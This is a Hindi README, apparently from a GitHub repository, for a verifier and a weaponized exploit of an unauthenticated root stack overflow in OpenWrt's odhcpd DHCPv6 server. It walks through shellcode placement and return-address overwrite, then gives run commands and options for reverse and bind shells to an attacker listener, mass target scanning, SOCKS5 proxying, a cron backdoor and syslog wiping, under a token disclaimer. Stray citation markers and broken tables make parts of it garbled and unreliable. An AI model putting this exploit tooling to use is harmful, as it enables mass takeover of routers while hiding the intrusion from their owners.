
CVE-2026-53921 – odhcpd स्टैक ओवरफ्लो (CVSS 9.8) 🛡️ OpenWrt DHCPv6 RCE के लिए विस्तृत और व्यापक राइट-अप और वेरिफायर और मल्टी-एक्सप्लॉइट। MIPS/ARM शेलकोड, ROP चेन, SOCKS5 प्रॉक्सी, पर्सिस्टेंस, लॉग वाइपिंग और मास स्कैनिंग के साथ डुअल-वेक्टर (IA_NA/IA_PD) ओवरफ्लो। नैतिक रूप से उपयोग करें, कानूनी रहें। 🔒

⚠️ केवल शैक्षिक और अधिकृत परीक्षण के लिए। अनधिकृत उपयोग अवैध है।
CVE-2026-53921 OpenWrt के odhcpd डेमॉन में एक गंभीर स्टैक बफर ओवरफ्लो है – जो डिफ़ॉल्ट DHCPv6/DHCPv4/RA सर्वर है।
यह भेद्यता odhcpd के DHCPv6 संदेश प्रबंधन कोड में मौजूद है,
विशेष रूप से build_ia() और dhcpv6_ia_handle_IAs() फ़ंक्शनों में।
यह बग DHCPv6 रिप्लाई पैकेटों के serialization (पैकिंग) के दौरान होता है। जब odhcpd क्लाइंट अनुरोधों का जवाब देता है, तो यह उत्तर को 512 बाइट्स के निश्चित आकार के स्टैक बफर में बिना उचित बाउंड्स जाँच के तैयार करता है।
// Simplified representation of the vulnerable code
static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
// ❌ No bounds check before writing
memcpy(buf + *len, ia->data, ia->length);
*len += ia->length;
}
एक हमलावर DHCPv6 Request (या Solicit) भेजता है जिसमें:
प्रत्येक विकल्प स्टैक स्थान का उपभोग करता है जब odhcpd अपना रिप्लाई बनाता है। संचित डेटा 512 बाइट्स से अधिक हो जाता है, जिससे ओवरफ्लो होता है।
वेक्टर ट्रिगर ओवरफ्लो बिंदु
साइट 1 5 IA_NA विकल्प build_ia() for IA_NA
IPv6 पतों के साथ
build_ia() for IA_PDमूल कारण समान है, लेकिन ओवरफ्लो अलग-अलग कोड पथों में होता है, जिससे दोनों वेक्टर समान रूप से शोषण योग्य बन जाते हैं।
Stack Layout (simplified):
+-------------------+ <-- High addresses
| Return Address | ← Overwritten with attacker-controlled value
+-------------------+
| Saved Frame Ptr |
+-------------------+
| Local Variables | ← 512-byte buffer
+-------------------+ <-- Low addresses
आवश्यकता विवरण
नेटवर्क एक्सेस हमलावर के पास लक्ष्य तक IPv6 कनेक्टिविटी होनी चाहिए
प्रमाणीकरण कोई नहीं -- बिना प्रमाणीकरण वाला हमला
विशेषाधिकार odhcpd रूट के रूप में चलता है, इसलिए RCE पूर्ण सिस्टम नियंत्रण प्रदान करता है
एक वास्तविक एक्सप्लॉइट में, हमलावर का शेलकोड IAAddress IPv6 पता फ़ील्ड्स (प्रति IA_NA 16 बाइट्स) में रखा जाता है। क्राफ्ट किए गए पैकेट शेलकोड, NOP sled और रिटर्न एड्रेस को इन फ़ील्ड्स में पैक करते हैं।
Crafted IA_NA Structure:
+-------------------+
| IA_NA Header | (12 bytes)
+-------------------+
| IAAddress 1 | ← NOP sled + shellcode
+-------------------+
| IAAddress 2 | ← NOP sled + shellcode
+-------------------+
| IAAddress 3 | ← NOP sled + shellcode
+-------------------+
| IAAddress 4 | ← Return address
+-------------------+
| IAAddress 5 | ← Return address
+-------------------+
Crafted DHCPv6 Request
↓
odhcpd processes IA_NA/IA_PD options
↓
512-byte stack buffer overflows
↓
Return address overwritten
↓
CPU jumps to shellcode
↓
Reverse shell / Bind shell / RCE
↓
Full system compromise (root privileges)
संस्करण स्थिति RCE संभव?
odhcpd < e432dd6 असुरक्षित ✅ हाँ OpenWrt < 24.10.8 असुरक्षित ✅ हाँ OpenWrt < 25.12.5 असुरक्षित ✅ हाँ OpenWrt 24.10.8+ पैच किया गया ❌ नहीं OpenWrt 25.12.5+ पैच किया गया ❌ नहीं odhcpd master + e432dd6 पैच किया गया ❌ नहीं
यह भेद्यता विशेष रूप से खतरनाक है क्योंकि:
odhcpd डिफ़ॉल्ट रूप से सक्षम है।| घटक | असुरक्षित संस्करण | इसमें ठीक किया गया |
|---|---|---|
odhcpd (master branch) | कमिट e432dd6 से पहले | e432dd6 या बाद का |
यह रिपॉज़िटरी दो स्वतंत्र स्क्रिप्ट प्रदान करता है:
| स्क्रिप्ट | उद्देश्य | एक्सप्लॉइट कोड | सुरक्षा |
|---|---|---|---|
verifier.py | गैर-आक्रामक भेद्यता जाँच | ❌ नहीं | ✅ सुरक्षित |
exploit.py | पूर्ण सशस्त्र एक्सप्लॉइट |
verifier.py – भेद्यता जाँचकर्ताexploit.py – पूर्ण एक्सप्लॉइटIA_NA (साइट1) और IA_PD (साइट2)।git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.
sudo python3 verifier.py -u fe80::1%eth0 -i eth0
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444
verifier.py| तर्क | विवरण |
|---|---|
-u, --target | लक्ष्य IPv6 पता (आवश्यक) |
-i, --iface | नेटवर्क इंटरफ़ेस (डिफ़ॉल्ट: eth0) |
exploit.pysudo python3 exploit.py -l targets.txt --scan-only --threads 10
### 2. Exploit a single target with bind shell
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --payload bind --lport 31337
### 3. Use SOCKS5 proxy + persistence + log wiping
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --proxy-host 127.0.0.1 --proxy-port 9050 --persistence --clear-logs
OpenWrt को 24.10.8 या 25.12.5 या उसके बाद के संस्करण में अपग्रेड करें।
opkg update
opkg upgrade odhcpd
OpenWrt सुरक्षा सलाह (GHSA-7fwx-hhrg-3496) https://github.com/openwrt/odhcpd/security/advisories/GHSA-7fwx-hhrg-3496 odhcpd में दोनों ओवरफ्लो वेक्टरों को कवर करने वाली विस्तृत सलाह।
CVE-2026-53921 NVD प्रविष्टि https://nvd.nist.gov/vuln/detail/CVE-2026-53921 आधिकारिक NIST भेद्यता डेटाबेस प्रविष्टि।
OpenWrt 24.10.8 रिलीज़ नोट्स https://forum.openwrt.org/t/openwrt-24-10-8-service-release/252195 24.10 ब्रांच के लिए आधिकारिक रिलीज़ घोषणा।
OpenWrt 25.12.5 रिलीज़ नोट्स https://lists.openwrt.org/pipermail/openwrt-announce/2026-June/000088.html 25.12 ब्रांच के लिए आधिकारिक रिलीज़ घोषणा।
24.10.8 और 25.12.5 रिलीज़ CVE-2026-53921 के अलावा कई odhcpd भेद्यताओं को संबोधित करती हैं [citation:9]:
द हैकर न्यूज़ विश्लेषण https://thehackernews.com/2026/07/critical-openwrt-dhcpv6-flaw-could-let.html भेद्यता और शोषण वेक्टरों का विस्तृत तकनीकी विवरण। [citation:1]
GitHub PoC रिपॉज़िटरी https://github.com/0xBlackash/CVE-2026-53921 सार्वजनिक प्रूफ-ऑफ-कॉन्सेप्ट कार्यान्वयन और तकनीकी विवरण। [citation:3]
संस्करण 25.12.5 अन्य मुख्य घटकों में भेद्यताओं को भी संबोधित करता है [citation:10]:
OpenWrt फ़र्मवेयर चयनकर्ता https://firmware-selector.openwrt.org/ अपने डिवाइस के लिए पैच किए गए फ़र्मवेयर इमेज डाउनलोड करें।
CISA ज्ञात शोषित भेद्यता कैटलॉग https://www.cisa.gov/known-exploited-vulnerabilities-catalog जाँचें कि क्या CVE-2026-53921 को KEV में जोड़ा गया है (27 जुलाई, 2026 तक, सूचीबद्ध नहीं)। [citation:1]
| OpenWrt रिलीज़ |
| < 24.10.8 < 25.12.5 |
| 24.10.8 & 25.12.5 |
| ✅ हाँ |
| ⚠️ खतरनाक |
| तर्क | विवरण |
|---|
-u, --target | लक्ष्य IPv6 पता |
-l, --list | लक्ष्यों की सूची वाली फ़ाइल |
-i, --iface | नेटवर्क इंटरफ़ेस (डिफ़ॉल्ट: eth0) |
--lhost | लिसनर IP (आवश्यक) |
--lport | लिसनर पोर्ट (डिफ़ॉल्ट: 4444) |
--vector | site1, site2, या both (डिफ़ॉल्ट: both) |
--offset | स्टैक ऑफ़सेट (डिफ़ॉल्ट: 512) |
--ret | हेक्स में रिटर्न एड्रेस (जैसे 0x7ffff000) |
--arch | mips या arm ज़बरदस्ती सेट करें (छोड़ देने पर स्वतः पहचान) |
--payload | reverse या bind (डिफ़ॉल्ट: reverse) |
--encode | none या xor (डिफ़ॉल्ट: none) |
--proxy-host | SOCKS5 प्रॉक्सी IP |
--proxy-port | SOCKS5 प्रॉक्सी पोर्ट (डिफ़ॉल्ट: 1080) |
--persistence | cron बैकडोर इंस्टॉल करें |
--clear-logs | शोषण के बाद syslog साफ़ करें |
--scan-only | केवल लक्ष्यों को स्कैन करें, शोषण न करें |
--threads | स्कैनिंग के लिए थ्रेड्स की संख्या (डिफ़ॉल्ट: 5) |
--verbose | विस्तृत लॉगिंग |
| CVE ID | गंभीरता | विवरण |
|---|
| CVE-2026-53918 | उच्च | DHCPv6 IA हैंडलर में यूज़-आफ्टर-फ्री [citation:4][citation:9] |
| CVE-2026-53920 | उच्च | ट्रंकेटेड DHCPv6 IA_NA/IA_PD विकल्प के माध्यम से स्टैक मेमोरी सूचना प्रकटीकरण [citation:9] |
| CVE-2026-53922 | मध्यम | size_t अंडरफ़्लो के माध्यम से प्री-ऑथ सेवा अस्वीकरण [citation:9] |
| CVE-2026-55606 | मध्यम | DUID लंबाई एंडियननेस बेमेल से स्टैक बफर ओवररीड [citation:9] |
| CVE-2026-62948 | - | DHCPv6 होस्टनाम इंजेक्शन जो स्टोर किए गए XSS की ओर ले जाता है [citation:1] |
| CVE-2026-62947 | - | cgi-io में प्रमाणित पथ ट्रैवर्सल [citation:1] |